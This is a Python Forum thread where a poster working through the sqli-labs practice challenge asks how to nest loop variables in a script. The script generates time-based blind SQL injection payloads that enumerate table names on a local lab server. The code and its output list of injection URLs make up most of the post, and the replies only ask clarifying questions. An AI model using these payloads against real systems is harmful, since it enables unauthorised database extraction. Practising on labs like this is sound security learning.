Python Forum
how to use 3 variables python loop
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
how to use 3 variables python loop
#1
hello all ...
im trying to solve a sql challenge on my local machine ... ( https://github.com/Audi-1/sqli-labs)
i try to solve the blind ( time based ) one i write this code to automate the process :
test code :
target = "http://192.168.1.144/sqli-labs/Less-9/?id=1'"
for q in range(0 , 5):
        for j in range(32 , 50):
           
                    
            dd = f"{target} and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit {q},1),{q+1},1))={j},sleep(5),1) --+"
            print(dd)
Output:
http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=32,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=33,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=34,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=35,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=36,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=37,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=38,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=39,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=40,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=41,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=42,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=43,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=44,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=45,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=46,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=47,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=48,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=49,sleep(5),1) --+ http://192.168.1.144/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=32,sleep(5),1) --+
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=49,sleep(5),1) --+
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=32,sleep(5),1) --+

i need the result in red color to stay 0,1),2,1))=32 how i can do that ?
i need them like this :
[Image: Screenshot-from-2021-11-11-00-58-48.png]
Reply
#2
What module are you using to query SQL?
while dad_has_cigs == True:
    happiness = True
    if dad_has_cigs == False:
    print("Dad come home!")
    happiness = not happiness
    break
Reply
#3
Also which task are you looking at on Github?

I am struggling to understand the outcome you want. Could you rephrase the question or provide an example of the correct output?



Thanks
James
while dad_has_cigs == True:
    happiness = True
    if dad_has_cigs == False:
    print("Dad come home!")
    happiness = not happiness
    break
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Creating a loop with dynamic variables instead of hardcoded values FugaziRocks 3 1,498 Jul-27-2022, 08:50 PM
Last Post: rob101
  WHILE Loop - constant variables NOT working with user input boundaries C0D3R 4 1,494 Apr-05-2022, 06:18 AM
Last Post: C0D3R
  Creating a variables inside FOR loop zazas321 5 4,107 Sep-16-2020, 04:42 PM
Last Post: Naheed
  Two variables in loop Ferdis 1 1,543 Jul-24-2020, 10:18 AM
Last Post: buran
  Create, assign and print variables in loop steven_tr 10 4,357 May-28-2020, 04:26 PM
Last Post: ndc85430
  Two variables in for loop vipinv23 9 13,994 Aug-26-2019, 05:30 AM
Last Post: newbieAuggie2019
  Operations on indexed variables in loop Fibulavie 1 1,939 Aug-14-2019, 06:07 AM
Last Post: fishhook
  labelling variables of df with map() in loop theinzawoo 2 2,499 Mar-19-2019, 03:42 AM
Last Post: theinzawoo
  I need help with loop one function and creating variables don 3 2,823 Jan-24-2019, 07:31 AM
Last Post: buran
  I can't figure out how to create variables in a while loop MrCag 1 2,363 May-08-2018, 08:56 PM
Last Post: wavic

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020